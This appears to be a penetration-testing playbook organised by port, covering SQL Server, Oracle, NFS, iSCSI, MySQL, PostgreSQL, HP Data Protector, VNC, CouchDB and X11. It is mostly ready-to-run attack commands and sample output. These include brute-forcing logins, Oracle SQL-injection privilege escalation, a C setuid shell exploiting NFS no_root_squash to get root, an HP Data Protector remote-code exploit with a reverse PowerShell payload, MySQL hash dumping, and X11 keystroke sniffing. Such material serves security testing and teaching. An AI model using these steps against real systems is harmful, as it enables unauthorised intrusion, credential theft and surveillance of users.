Scott Sutherland has written four parts of **Hacking SQL Servers**: (A must-read)

Part 1: (un)Trustworthy Databases

[Hacking SQL Server Stored Procedures – Part 1: \(un\)Trustworthy Databases](#) : how database users commonly created for web applications can be used to escalate privileges in SQL Server when database ownership is poorly configured. Corresponding Metasploit module is Microsoft SQL Server Escalate Db_Owner 'mssql_escalate_dbowner'.

Part 2: User Impersonation

[Hacking SQL Server Stored Procedures – Part 2: User Impersonation](#) : provides a lab guide and attack walk-through that can be used to gain a better understanding of how the IMPERSONATE privilege can lead to privilege escalation in SQL Server. Corresponding Metasploit module is Microsoft SQL Server Escalate EXECUTE AS 'mssql_escalate_execute_as'.

Part 3: SQL Injection

[Hacking SQL Server Stored Procedures – Part 3: SQL Injection](#) : This blog covers how SQL injection can be identified and exploited to escalate privileges in SQL Server stored procedures when they are configured to execute with higher privileges using the WITH EXECUTE AS clause or certificate signing.

Part 4: Enumerating Domain Accounts

[Hacking SQL Server Procedures – Part 4: Enumerating Domain Accounts](#) : shows enumerate Active Directory domain users, groups, and computers through native SQL Server functions using logins that only have the Public server role (everyone). It also shows how to enumerate SQL Server logins using a similar technique. Corresponding module is Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration

Reference - Other Blogs

MSSQL-MITM

Rick Osgood has written a blog [Hacking Microsoft SQL Server Without a Password](#) on doing a man-in-the-middle-attack between the SQL-Server and the user where he changed the select statement by using ettercap to add a new user in the mysql server.

Others

- [SQL Server Local Authorization Bypass](#)
- [SQL Server Local Authorization Bypass MSF Modules](#)
- [When Databases Attack: Entry Points](#)
- [When Databases Attack: Hacking with the OSQL Utility](#)
- [When Databases Attack: SQL Server Express Privilege Inheritance Issue](#)
- [When Databases Attack – Finding Data on SQL Servers](#)
- [Maintaining Persistence via SQL Server – Part 1: Startup Stored Procedures](#)

Oracle - Port 1521

After setting up oracle with metasploit here [How to get Oracle Support working with Kali Linux](#) We will directly follow the procedure presented by Chris Gates [BHUSA09-Gates-OracleMetasploit-Slides](#)

Oracle Attack Methodology

We need 4 things to connect to an Oracle DB.

- IP.
- Port.
- Service Identifier (SID).
- Username/ Password.

Locate Oracle Systems

Nmap would probably be the best tool to find the oracle instances.

Determine Oracle Version

Metasploit has

- **Oracle TNS Listener Service Version Query**

```
use auxiliary/scanner/oracle/tnslsnr_version
services -p 1521 -u -R
```

Sample Output:

```
[+] 10.10.xx.xx:1521 Oracle - Version: 64-bit Windows: Version 11.1.
[-] 10.10.xx.xx:1521 Oracle - Version: Unknown - Error code 1189 - T
[-] 10.10.xx.xx:1521 Oracle - Version: Unknown
[*] Scanned 8 of 12 hosts (66% complete)
[+] 10.10.xx.xx:1521 Oracle - Version: 32-bit Windows: Version 10.2.
```

Determine Oracle SID

Oracle Service Identifier: By querying the TNS Listener directly, brute force for default SID's or query other components that may contain it.

Metasploit has

- **Oracle TNS Listener SID Enumeration:** This module simply queries the TNS listener for the Oracle SID. With Oracle 9.2.0.8 and above the listener will be protected and the SID will have to be bruteforced or guessed.

```
use auxiliary/scanner/oracle/sid_enum
```

- **Oracle TNS Listener SID Bruteforce:** This module queries the TNS listener for a valid Oracle database instance name (also known as a SID). Any response other than a "reject" will be considered a success. If a specific SID is provided, that SID will be attempted. Otherwise, SIDs read from the named file will be attempted in sequence instead.

```
use auxiliary/scanner/oracle/sid_brute
```

Sample Output:

```
[*] 10.140.200.163:1521 - - Oracle - Checking 'SA0'...
[*] 10.140.200.163:1521 - - Oracle - Refused 'SA0'
[*] 10.140.200.163:1521 - - Oracle - Checking 'PLSEXTPROC'...
[+] 10.140.200.163:1521 - 10.140.200.163:1521 Oracle - 'PLSEXTPROC'
```

Nmap has:

- [Oracle-sid-brute.nse](#) : Guesses Oracle instance/SID names against the TNS-listener.

```
nmap --script=oracle-sid-brute --script-args=oraclesids=/path/to/sid
nmap --script=oracle-sid-brute -p 1521-1560 <host>
```

A good white paper on guessing the Service Identifier is [Different ways to guess Oracle database SID](#)

Guess/Bruteforce USER/PASS

Once we know the service identifier, we need to find out a valid username and password..

Metasploit has

- **Oracle RDBMS Login Utility:** It actually runs nmap in the background, requires RHOSTS, RPORTS, SID to test the default usernames and passwords.

```
use auxiliary/scanner/oracle/oracle_login
```

Nmap has

- [Oracle-brute.nse](#) Performs brute force password auditing against Oracle servers. Running it in default mode it performs an audit against a list of common Oracle usernames and passwords. The mode can be changed by supplying the argument oracle-brute.noscript at which point the script will use the username- and password- lists supplied with Nmap. The script makes no attempt to discover the amount of guesses that can be made before locking an account. Running this script may therefore result in a large number of accounts being locked out on the database server.

```
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=OR
```

- [oracle-brute-stealth.nse](#) : Exploits the CVE-2012-3137 vulnerability, a weakness in Oracle's O5LOGIN authentication scheme. The vulnerability exists in Oracle 11g R1/R2 and allows linking the session key to a password hash. When initiating an authentication attempt as a valid user the server will respond with a session key and salt. Once received the script will disconnect the connection thereby not recording the login attempt. The session key and salt can then be used to brute force the users password.

CVE-2012-3137: The authentication protocol in Oracle Database Server 10.2.0.3, 10.2.0.4, 10.2.0.5, 11.1.0.7, 11.2.0.2, and 11.2.0.3 allows remote attackers to obtain the session key and salt for arbitrary users, which leaks information about the cryptographic hash and

makes it easier to conduct brute force password guessing attacks, aka "stealth password cracking vulnerability.

```
nmap --script oracle-brute-stealth -p 1521 --script-args oracle-brut
```

- [Oracle-enum-users](#) : Attempts to enumerate valid Oracle user names against unpatched Oracle 11g servers (this bug was fixed in Oracle's October 2009 Critical Patch Update).

```
nmap --script oracle-enum-users --script-args oracle-enum-users.sid=
```

Privilege Escalation via SQL Injection

- lt_findricset.rb
- lt_findricset_cursor.rb: Oracle DB SQL Injection via SYS.LT.FINDRICSET Evil Cursor Method: This module will escalate a Oracle DB user to DBA by exploiting an sql injection bug in the SYS.LT.FINDRICSET package via Evil Cursor technique. Tested on oracle 10.1.0.3.0 – should work on thru 10.1.0.5.0 and supposedly on 11g. Fixed with Oracle Critical Patch update October 2007.

```
use auxiliary/sqli/oracle/lt_findricset_cursor
```

- dbms_metadata_open.rb: Oracle DB SQL Injection via SYS.DBMS_METADATA.OPEN: This module will escalate a Oracle DB user to DBA by exploiting an sql injection bug in the SYS.DBMS_METADATA.OPEN package/function.
- dbms_cdc_ipublish: Oracle DB SQL Injection via SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE: The module exploits an sql injection flaw in the ALTER_HOTLOG_INTERNAL_CSOURCE procedure of the PL/SQL package
- DBMS_CDC_IPUBLISH. Any user with execute privilege on the vulnerable package can exploit this vulnerability. By default, users granted EXECUTE_CATALOG_ROLE have the

required privilege. Affected versions: Oracle Database Server versions 10gR1, 10gR2 and 11gR1. Fixed with October 2008 CPU.

- `dbms_cdc_publish`: Oracle DB SQL Injection via `SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE`: The module exploits an sql injection flaw in the `ALTER_AUTOLOG_CHANGE_SOURCE` procedure of the PL/SQL package `DBMS_CDC_PUBLISH`. Any user with execute privilege on the vulnerable package can exploit this vulnerability. By default, users granted `EXECUTE_CATALOG_ROLE` have the required privilege. Affected versions: Oracle Database Server versions 10gR1, 10gR2 and 11gR1. Fixed with October 2008 CPU.
- `dbms_cdc_publish2`: Oracle DB SQL Injection via `SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE`: The module exploits an sql injection flaw in the `DROP_CHANGE_SOURCE` procedure of the PL/SQL package `DBMS_CDC_PUBLISH`. Any user with execute privilege on the vulnerable package can exploit this vulnerability. By default, users granted `EXECUTE_CATALOG_ROLE` have the required privilege.
- `dbms_cdc_publish3`: Oracle DB SQL Injection via `SYS.DBMS_CDC_PUBLISH.CREATE_CHANGE_SET`: The module exploits an sql injection flaw in the `CREATE_CHANGE_SET` procedure of the PL/SQL package `DBMS_CDC_PUBLISH`. Any user with execute privilege on the vulnerable package can exploit this vulnerability. By default, users granted `EXECUTE_CATALOG_ROLE` have the required privilege.
- `dbms_cdc_subscribe_activate_subscription`: Oracle DB SQL Injection via `SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION`: This module will escalate a Oracle DB user to DBA by exploiting an sql injection bug in the `SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION` package/function. This vulnerability affects to Oracle Database Server 9i up to 9.2.0.5 and 10g up to 10.1.0.4.
- `lt_compressworkspace.rb`: Oracle DB SQL Injection via `SYS.LT.COMPRESSWORKSPACE`: This module exploits an sql injection flaw in the `COMPRESSWORKSPACE` procedure of the PL/SQL package `SYS.LT`. Any user with execute privilege on the vulnerable package can exploit this vulnerability.
- `lt_mergeworkspace.rb`: Oracle DB SQL Injection via `SYS.LT.MERGEWORKSPACE`: This module exploits an sql injection flaw in the `MERGEWORKSPACE` procedure of the PL/SQL

package SYS.LT. Any user with execute privilege on the vulnerable package can exploit this vulnerability.

- It_removeworkspace.rb: Oracle DB SQL Injection via SYS.LT.REMOVEWORKSPACE: This module exploits an sql injection flaw in the REMOVEWORKSPACE procedure of the PL/SQL package SYS.LT. Any user with execute privilege on the vulnerable package can exploit this vulnerability.
- It_rollbackworkspace.rb: Oracle DB SQL Injection via SYS.LT.ROLLBACKWORKSPACE: This module exploits an sql injection flaw in the ROLLBACKWORKSPACE procedure of the PL/SQL package SYS.LT. Any user with execute privilege on the vulnerable package can exploit this vulnerability.

Manipulate Data/Post Exploitation

The above privilege escalation exploits will provide us DBA access, from where we can access the data. We can use

- Metasploit oracle_sql: Oracle SQL Generic Query: This module allows for simple SQL statements to be executed against a Oracle instance given the appropriate credentials and sid.

```
use auxiliary/admin/oracle/oracle_sql
```

or you can directly connect to the database using

- SQLPlus

```
sqlplus username/password@host:port/service
```

or use tnsnames.ora file to connect to the database. For that edit it and add a new entry: This file normally resides in the \$ORACLE_HOMENETWORKADMIN directory.

```
myDb =  
  (DESCRIPTION =  
    (ADDRESS_LIST =  
      (ADDRESS = (PROTOCOL = TCP)(Host = c)(Port =a))
```



```
)  
(CONNECT_DATA =  
  (SERVICE_NAME =b)  
)  
)
```

and then you could connect to the db:

```
sqlplus x/y@myDb
```

However, there's more to Post Exploitation which are OS Shells. There are multiple methods for running OS commands via oracle libraries.

- Via Java:

There's a metasploit

- win32exec: Oracle Java execCommand (Win32): This module will create a java class which enables the execution of OS commands. First, we need to grant the user privileges of JAVASYSPRIVS using oracle_sql module

```
use auxiliary/admin/oracle/post_exploitation/win32exec
```

This can also be done by executing SQL Scripts provided by oracle. For more information refer [Executing operating system commands from PL/SQL](#)

- Extproc backdoors
- DBMS_Scheduler

```
Run custom pl/sql or java
```

Cover Tracks

Metasploit has

- We can use **Oracle TNS Listener Checker** which module checks the server for vulnerabilities like TNS Poison.

```
use auxiliary/scanner/oracle/tnspoison_checker  
services -p 1521 -u -R
```

Sample Output:

```
[+] 10.10.xx.xx:1521 is vulnerable  
[+] 10.10.xx.xx:1521 is vulnerable  
[*] Scanned 2 of 12 hosts (16% complete)  
[-] 10.10.xx.xx:1521 is not vulnerable
```

Some SQL statements which could be executed after SQL Plus connection:

```
1. select * from global_name
```

A good blog to secure oracle is [Top 10 Oracle Steps to a Secure Oracle Database Server](#)

NFS - Port 2049

If the port number 2049 is open

```
$ nmap -A -T4 -sT -p1-65535 someexample.com  
2049/tcp open nfs 2-4 (RPC #100003)
```

We can scan the available exports

```
$ showmount -e someexample.com  
Export list for someexample.com:  
/backup *
```

Now, let's try to mount /backup and to get the content

```
$ mkdir backup  
$ mount -o ro,noexec someexample.com:/backup backup
```

```
$ ls backup
backup.tar.bz2.zip
```

This is implemented by /etc/exports

```
www-data@example2.com:/$ cat /etc/exports
cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
#                to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes      hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_su
#
# Example for NFSv4:
# /srv/nfs4       gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/tmp *(rw,no_root_squash)
/var/nfsshare *(rw,sync,root_squash,no_all_squash)
/opt *(rw,sync,root_squash,no_all_squash)
```

Do Not Use the no_root_squash Option

By default, NFS shares change the root user to the nfsnobody user, an unprivileged user account. In this way, all root-created files are owned by nfsnobody, which prevents uploading of programs with the setuid bit set. If no_root_squash is used, remote root users are able to change any file on the shared file system and leave trojaned applications for other users to inadvertently execute.

Do Not Use the no_all_squash Option

The no_all_squash parameter is similar to no_root_squash option but applies to non-root users. Imagine, you have a shell as nobody user; checked /etc/exports file; no_all_squash option is present; check /etc/passwd file; emulate a non-root user; create a suid file as that user (by mounting using nfs). Execute the suid as nobody user and become different user.

Note This is very dangerous if a) found on a linux box and b) you are unprivileged user on that linux box. Above we have mounted as read-only. However, we can mount as rw and copy a setuid program. Once suid file is uploaded, we can execute it and become that user.

```
int main(void) {  
    setgid(0); setuid(0);  
    execl("/bin/sh", "sh", 0); }
```

Compile it based on the architecture, give it setuid and executable permissions as root (Remember, we mounted as root)

```
chown root.root ./pwnme  
chmod u+s ./pwnme
```

Further, if we are unprivileged user on that Linux box, we can just execute this binary to become root.

```
www-data@xxxxxhostcus:/tmp$ ./pwnme  
./pwnme  
# id  
id  
uid=0(root) gid=0(root) groups=0(root),33(www-data)
```

nfsshell

As your uid and gid must be equivalent to the user, we are emulating to the nfs-share, we can use [nfsshell](#) NFS shell that provides user level access to an NFS server, over UDP or TCP, supports source routing and "secure" (privileged port) mounts. It's a useful tool to manually check (or show) security problems after a security scanner has detected them. Pentest Partners have published a blog on [Using nfsshell to compromise older environments](#)

Using nfsshell

- Selecting the target, can either be the hostname (assuming you have name servers available to resolve against), or the IP address:

```
host <host> - set remote host name
```

- Show which shares the target has available:

```
export – show all exported file systems
```

- Try and mount them:

```
mount [-upTU] [-P port] <path> – mount file system
```

- Nfsshell is useful for accessing NFS shares without having to create users with the same UID/GID pair as the target exported filesystem. The following commands within nfsshell set the UID and GID:

```
uid [<uid> [<secret-key>]] – set remote user id  
gid [<gid>] – set remote group id
```

- Other important commands

```
chmod <mode> <file> - change mode  
chown <uid>[.<gid>] <file> - change owner  
put <local-file> [<remote-file>] - put file
```

ISCSI - Port 3260

Internet Small Computer Systems Interface, an Internet Protocol (IP)-based storage networking standard for linking data storage facilities. A good article is [SCSI over IP](#)

Nmap

iscsi-info

[iscsi-info.nse](#): Collects and displays information from remote iSCSI targets.

Sample Output:

```
nmap -sV -p 3260 192.168.xx.xx --script=iscsi-info  
Starting Nmap 7.01 (https://nmap.org) at 2016-05-04 14:50 IST
```

```
Nmap scan report for 192.168.xx.xx
Host is up (0.00064s latency).
PORT      STATE SERVICE VERSION
3260/tcp  open  iscsi?
| iscsi-info:
|   iqn.1992-05.com.emc:fl1001433000190000-3-vnxe:
|     Address: 192.168.xx.xx:3260,1
|_    Authentication: NOT required
Service detection performed. Please report any incorrect results at https://nmap.org
Nmap done: 1 IP address (1 host up) scanned in 138.09 seconds
```

Other

iscsiadm

Hacking Team DIY shows to run

We can discover the target IP address by using the below command

```
iscsiadm -m discovery -t sendtargets -p 192.168.xx.xx
192.168.xx.xx:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
```

Login via

```
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe"
Logging in to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe]
Login to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe]
```

Failed Result: When we login, ideally we should be able to see the location, however for some strange reason we didn't get that here.

```
[43852.014179] scsi host6: iSCSI Initiator over TCP/IP
[43852.306055] scsi 6:0:0:0: Direct-Access      EMC          Celerra          0002
[43852.323940] scsi 6:0:0:0: Attached scsi generic sg1 type 0
```

Successful Result: If we see, the drive is attached to sdb1

```
[125933.964768] scsi host10: iSCSI Initiator over TCP/IP
[125934.259637] scsi 10:0:0:0: Direct-Access      LI0-ORG  FILEIO          v2.
[125934.259919] sd 10:0:0:0: Attached scsi generic sgl type 0
[125934.266155] sd 10:0:0:0: [sdb] 2097152001 512-byte logical blocks: (1.07 T
[125934.266794] sd 10:0:0:0: [sdb] Write Protect is off
[125934.266801] sd 10:0:0:0: [sdb] Mode Sense: 2f 00 00 00
[125934.268003] sd 10:0:0:0: [sdb] Write cache: disabled, read cache: enabled,
[125934.275206]   sdb: sdb1
[125934.279017] sd 10:0:0:0: [sdb] Attached SCSI dis
```

We can logout using `-logout`

```
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe"
Logging out of session [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe]
Logout of [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, port: 3260]
```

We can find more information about it by just using without any `-login/-logout` parameter

```
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe"
# BEGIN RECORD 2.0-873
node.name = iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
node.tpgt = 1
node.startup = manual
node.leading_login = No
iface.hwaddress = <empty>
iface.ipaddress = <empty>
iface.iscsi_ifacename = default
iface.net_ifacename = <empty>
iface.transport_name = tcp
iface.initiatorname = <empty>
iface.bootproto = <empty>
iface.subnet_mask = <empty>
iface.gateway = <empty>
iface.ipv6_autocfg = <empty>
iface.linklocal_autocfg = <empty>
iface.router_autocfg = <empty>
iface.ipv6_linklocal = <empty>
iface.ipv6_router = <empty>
iface.state = <empty>
iface.vlan_id = 0
```

```
iface.vlan_priority = 0
iface.vlan_state = <empty>
iface.iface_num = 0
iface.mtu = 0
iface.port = 0
node.discovery_address = 192.168.xx.xx
node.discovery_port = 3260
node.discovery_type = send_targets
node.session.initial_cmdsn = 0
node.session.initial_login_retry_max = 8
node.session.xmit_thread_priority = -20
node.session.cmds_max = 128
node.session.queue_depth = 32
node.session.nr_sessions = 1
node.session.auth.authmethod = None
node.session.auth.username = <empty>
node.session.auth.password = <empty>
node.session.auth.username_in = <empty>
node.session.auth.password_in = <empty>
node.session.timeo.replacement_timeout = 120
node.session.err_timeo.abort_timeout = 15
node.session.err_timeo.lu_reset_timeout = 30
node.session.err_timeo.tgt_reset_timeout = 30
node.session.err_timeo.host_reset_timeout = 60
node.session.iscsi.FastAbort = Yes
node.session.iscsi.InitialR2T = No
node.session.iscsi.ImmediateData = Yes
node.session.iscsi.FirstBurstLength = 262144
node.session.iscsi.MaxBurstLength = 16776192
node.session.iscsi.DefaultTime2Retain = 0
node.session.iscsi.DefaultTime2Wait = 2
node.session.iscsi.MaxConnections = 1
node.session.iscsi.MaxOutstandingR2T = 1
node.session.iscsi.ERL = 0
node.conn[0].address = 192.168.xx.xx
node.conn[0].port = 3260
node.conn[0].startup = manual
node.conn[0].tcp.window_size = 524288
node.conn[0].tcp.type_of_service = 0
node.conn[0].timeo.logout_timeout = 15
node.conn[0].timeo.login_timeout = 15
node.conn[0].timeo.auth_timeout = 45
node.conn[0].timeo.noop_out_interval = 5
node.conn[0].timeo.noop_out_timeout = 5
node.conn[0].iscsi.MaxXmitDataSegmentLength = 0
```



```
node.conn[0].iscsi.MaxRecvDataSegmentLength = 262144
node.conn[0].iscsi.HeaderDigest = None
node.conn[0].iscsi.DataDigest = None
node.conn[0].iscsi.IFMarker = No
node.conn[0].iscsi.OFMarker = No
# END RECORD
```

We have created a script to automate login/ logout process available at [iscsiadm](#)

SAP Router | Port 3299

morisson has written a blog on [Piercing SAProuter with Metasploit](#)

MySQL | Port 3306

Metasploit

MySQL Server Version Enumeration

Enumerates the version of MySQL servers

```
use auxiliary/scanner/mysql/mysql_version
services -p 3306 -u -R
```

Sample Output:

```
[*] 10.7.xx.xx:3306 is running MySQL, but responds with an error: \x04Host '10
[*] 10.10.xx.xx:3306 is running MySQL 5.5.47-0ubuntu0.14.04.1-log (protocol 10
[*] 10.10.xx.xx:3306 is running MySQL 5.5.47-0ubuntu0.14.04.1-log (protocol 10
[*] Scanned 5 of 44 hosts (11% complete)
[*] 10.10.xx.xx:3306 is running MySQL 5.1.52 (protocol 10)
[*] 10.10.xx.xx:3306 is running MySQL 5.1.52 (protocol 10)
[*] 10.10.xx.xx:3306 is running MySQL 5.5.35-0ubuntu0.12.04.2 (protocol 10)
[*] 10.10.xx.xx:3306 is running MySQL 5.0.95 (protocol 10)
[*] Scanned 9 of 44 hosts (20% complete)
[*] 10.10.xx.xx:3306 is running MySQL 5.0.22 (protocol 10)
```

```
[*] 10.10.xx.xx:3306 is running MySQL, but responds with an error: \x04Host '1
[*] 10.10.xx.xx:3306 is running MySQL, but responds with an error: \x04Host '1
[*] 10.10.xx.xx:3306 is running MySQL 5.0.22 (protocol 10)
[*] 10.10.xx.xx:3306 is running MySQL, but responds with an error: \x04Host '1
[*] Scanned 14 of 44 hosts (31% complete)
[*] 10.10.xx.xx:3306 is running MySQL, but responds with an error: \x04Host '1
[*] 10.10.xx.xx:3306 is running MySQL 5.0.22 (protocol 10)
[*] 10.10.xx.xx:3306 is running MySQL, but responds with an error: \x04Host '1
[*] 10.10.xx.xx:3306 is running MySQL 5.1.52 (protocol 10)
[*] Scanned 18 of 44 hosts (40% complete)
[*] 10.10.xx.xx:3306 is running MySQL 3.23.41 (protocol 10)
[*] 10.10.xx.xx:3306 is running MySQL 3.23.41 (protocol 10)
[*] 10.10.xx.xx:3306 is running MySQL 5.6.17 (protocol 10)
[*] 10.10.xx.xx:3306 is running MySQL 5.1.50-community (protocol 10)
```

MySQL Login Utility

Validate login or bruteforce logins. This module simply queries the MySQL instance for a specific user/pass (default is root with blank)

```
use auxiliary/scanner/mysql/mysql_login
services -p 3306 -u -R
set username root
set password example@123
```

Sample Output:

```
[*] 10.10.xx.xx:3306 MYSQL - Found remote MySQL version 5.1.50
[+] 10.10.xx.xx:3306 MYSQL - Success: 'root:example@123'
[*] Scanned 22 of 44 hosts (50% complete)
[*] 10.10.xx.xx:3306 MYSQL - Found remote MySQL version 5.1.50
[+] 10.10.xx.xx:3306 MYSQL - Success: 'root:example@123'
[-] 10.10.xx.xx:3306 MYSQL - Unsupported target version of MySQL detected. Ski
[-] 10.10.xx.xx:3306 MYSQL - Unsupported target version of MySQL detected. Ski
[*] 10.10.xx.xx:3306 MYSQL - Found remote MySQL version 5.6.15
[-] 10.10.xx.xx:3306 MYSQL - LOGIN FAILED: root:example@123 (Incorrect:
```

Once we have to username password for the root we can use

MYSQL Password Hashdump

to extract the usernames and encrypted password hashes from a MySQL server.

```
use auxiliary/scanner/mysql/mysql_hashdump
creds -p 3306 -t password -u root -R
set username root
set password example@123
```

Sample Output:

```
[ - ] MySQL Error: RbMysql::HandshakeError Bad handshake
[ - ] There was an error reading the MySQL User Table
[*] Scanned 4 of 6 hosts (66% complete)
[+] Saving HashString as Loot: root:6FE073B02F77230C092415032F0FF0951FXXXXXX
[+] Saving HashString as Loot: wordpress:A31B8F449706C32558ABC788DDABF62DCCXX
[+] Saving HashString as Loot: root:6FE073B02F77230C092415032F0FF0951FXXXXXX
[+] Scanned 5 of 6 hosts (83% complete)
[+] Saving HashString as Loot: newsgroupdbo:6FE073B02F77230C092415032F0FF0951F
[+] Saving HashString as Loot: intiadda:6FE073B02F77230C092415032F0FF0951XXXXX
[+] Saving HashString as Loot: newsgroupdbo:6FE073B02F77230C092415032F0FF0951F
```

Other

mysql

Once we have the username and password, we can use **mysql utility** to login in to the server.

```
mysql -u root -p -h 10.10.xx.xx
```

Todo

Explore UDF functionality and vulnerability!!

Postgresql - Port 5432

Metasploit

PostgreSQL Version Probe

Enumerates the version of PostgreSQL servers.

```
use auxiliary/scanner/postgres/postgres_version
```

PostgreSQL Login Utility

Module attempts to authenticate against a PostgreSQL instance using username and password combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options.

```
use auxiliary/scanner/postgres/postgres_login
```

PostgreSQL Database Name Command Line Flag Injection

Identify PostgreSQL 9.0, 9.1, and 9.2 servers that are vulnerable to command-line flag injection through CVE-2013-1899. This can lead to denial of service, privilege escalation, or even arbitrary code execution

```
use auxiliary/scanner/postgres/postgres_dbname_flag_injection
```

HPDataProtector RCE - Port 5555

HPData protector service was running on port no. 5555.

```
msf > services -p 5555

Services
=====
host      port  proto  name      state  info
----
10.x.x.x  5555  tcp    omniback  open   HP OpenView Omniback/Data Protecto
10.x.x.x  5555  tcp    omniinet  open   HP Data Protector 7.00 build 105
```

```
10.x.x.x      5555  tcp    freeciv  open
10.x.x.x      5555  tcp    omniinet open    HP Data Protector 7.00 build 105
10.x.x.x      5555  tcp    omniback open    HP Data Protector A.07.00 internal
```

Metasploit framework comes with an exploit for exploiting this vulnerability. which can be searched by

```
msf > search integutil

Matching Modules
=====

Name                                         Disclosure Date  Rank
----                                         -
exploit/multi/misc/hp_data_protector_exec_integutil  2014-10-02      great
```

Now this can be used by

```
msf > use exploit/multi/misc/hp_data_protector_exec_integutil
msf exploit(hp_data_protector_exec_integutil) > show options

Module options (exploit/multi/misc/hp_data_protector_exec_integutil):

Name      Current Setting  Required  Description
-----
RHOST      RHOST             yes       The target address
RPORT      5555              yes       The target port (TCP)

Exploit target:
Id  Name
--  ---
0   Automatic
```

Select the appropriate target by using

```
msf exploit(hp_data_protector_exec_integutil) > show targets

Exploit targets:
```

```

Id  Name
--  ---
0   Automatic
1   Linux 64 bits / HP Data Protector 9
2   Windows 64 bits / HP Data Protector 9

msf exploit(hp_data_protector_exec_integutil) > set target 2    - for windows

```

set the appropriate RHOST and payloads by

```

msf exploit(hp_data_protector_exec_integutil) > set RHOST 10.1.1.1
RHOST => 10.1.1.1
msf exploit(hp_data_protector_exec_integutil) > show payloads

Compatible Payloads
=====

Name                               Disclosure Date  Rank   Description
-----
cmd/windows/reverse_powershell      normal         Windows Command Shell

```

set all the necessary options and run. After this we can use Empire stagerlauncher or web_delivery to get a meterpreter shell on our attacking machine.

Before metasploit module was present people from OpenSecurity Research were able to exploit it by sniffing the data Nessus Plugin sent. More details at [Manually Exploiting HP Data Protector](#)

VNC - Port 5900

We always find openVNCs in an engagement.

Metasploit

VNC Authentication None Detection

Detect VNC servers that support the "None" authentication method.

```
use auxiliary/scanner/vnc/vnc_none_auth
```

VNC Authentication Scanner

Module will test a VNC server on a range of machines and report successful logins. Currently it supports RFB protocol version 3.3, 3.7, 3.8 and 4.001 using the VNC challenge response authentication method.

```
use auxiliary/scanner/vnc/vnc_login
```

VNC Password

~/.vnc/passwd is the default location where the VNC password is stored. The password is stored at this location when the vncserver starts for a first time. To update or change your VNC password you should use vncpasswd command.

```
echo MYVNCPASSWORD | vncpasswd -f > ~/.secret/passvnc
Warning: password truncated to the length of 8.

cat ~/.secret/passvnc
kRS0x8
```

Now, if we have found the password file of the VNC on some CTF challenge or vulnerable machine, we can either decrypt it (to know the password) using [VNC Password Decrypter](#) or use the password file while using vncviewer

```
vncviewer hostname-of-vnc-server -passwd ~/.secret/passvnc
-passwd passwd-file File from which to get the password (as generated by the v
```

CouchDB - Port 5984

Other

```
curl http://IP:5984/
```

This issues a GET request to installed CouchDB instance.

The reply should look something like:

```
{"couchdb": "Welcome", "version": "0.10.1"}
```

Database List

```
curl -X GET http://IP:5984/_all_dbs
```

or

```
curl -X GET http://user:password@IP:5984/_all_dbs
```

Response might be

```
["baseball", "plankton"]
```

Document List

```
curl -X GET http://IP:5984/{dbname}/_all_docs
```

Response

```
{
  "offset": 0,
  "rows": [
    {
      "id": "16e458537602f5ef2a710089dff9453",
      "key": "16e458537602f5ef2a710089dff9453",
      "value": {
        "rev": "1-967a00dff5e02add41819138abb3284d"
      }
    },
  ],
}
```



```
{
  "id": "a4c51cdfa2069f3e905c431114001aff",
  "key": "a4c51cdfa2069f3e905c431114001aff",
  "value": {
    "rev": "1-967a00dff5e02add41819138abb3284d"
  },
},
],
"total_rows": 2
}
```

Read Value Document

```
curl -X GET http://IP:5984/{dbname}/{id}
```

X11 - Port 6000

We do also find a lot of open X11 servers, we can use x11 to find the keyboard strokes and screenshots.

Metasploit

X11 No-Auth Scanner

Module scans for X11 servers that allow anyone to connect without authentication.

```
auxiliary/scanner/x11/open_x11
services -p 6000 -u -R
```

Sample output

```
[*] 10.9.xx.xx Access Denied
[*] 10.9.xx.xx Open X Server (The XFree86 Project, Inc)
[*] Scanned 5 of 45 hosts (11% complete)
[-] No response received due to a timeout
[*] 10.10.xx.xx Access Denied
[*] Scanned 9 of 45 hosts (20% complete)
```

```
[*] 10.11.xx.xx Access Denied
[*] Scanned 14 of 45 hosts (31% complete)
[*] 10.15.xx.xx Access Denied
[*] Scanned 18 of 45 hosts (40% complete)
[*] 10.19.xx.xx Access Denied
[*] Scanned 23 of 45 hosts (51% complete)
[*] Scanned 27 of 45 hosts (60% complete)
[*] Scanned 32 of 45 hosts (71% complete)
[*] 10.20.xx.xx Open X Server (Xfree86-Heidenhain-Project)
```

X11 Keyboard Command Injection

```
use exploit/unix/x11/x11_keyboard_exec
```

For more information: Refer: [Open-x11-server](#)

Other

xspy

[xspy](#) to sniff the keyboard keystrokes.

Sample Output:

```
xspy 10.9.xx.xx

opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTab
```

xdpyinfo

We can also use x11 to grab **screenshots or live videos** of the user. We need to verify the connection is open and we can get to it:

```
xdpyinfo -display <ip>:<display>
```

Sample Output:

```
xdpyinfo -display 10.20.xx.xx:0
name of display: 10.20.xx.xx:0
version number: 11.0
vendor string: Xfree86-Heidenhain-Project
vendor release number: 0
maximum request size: 262140 bytes
motion buffer size: 0
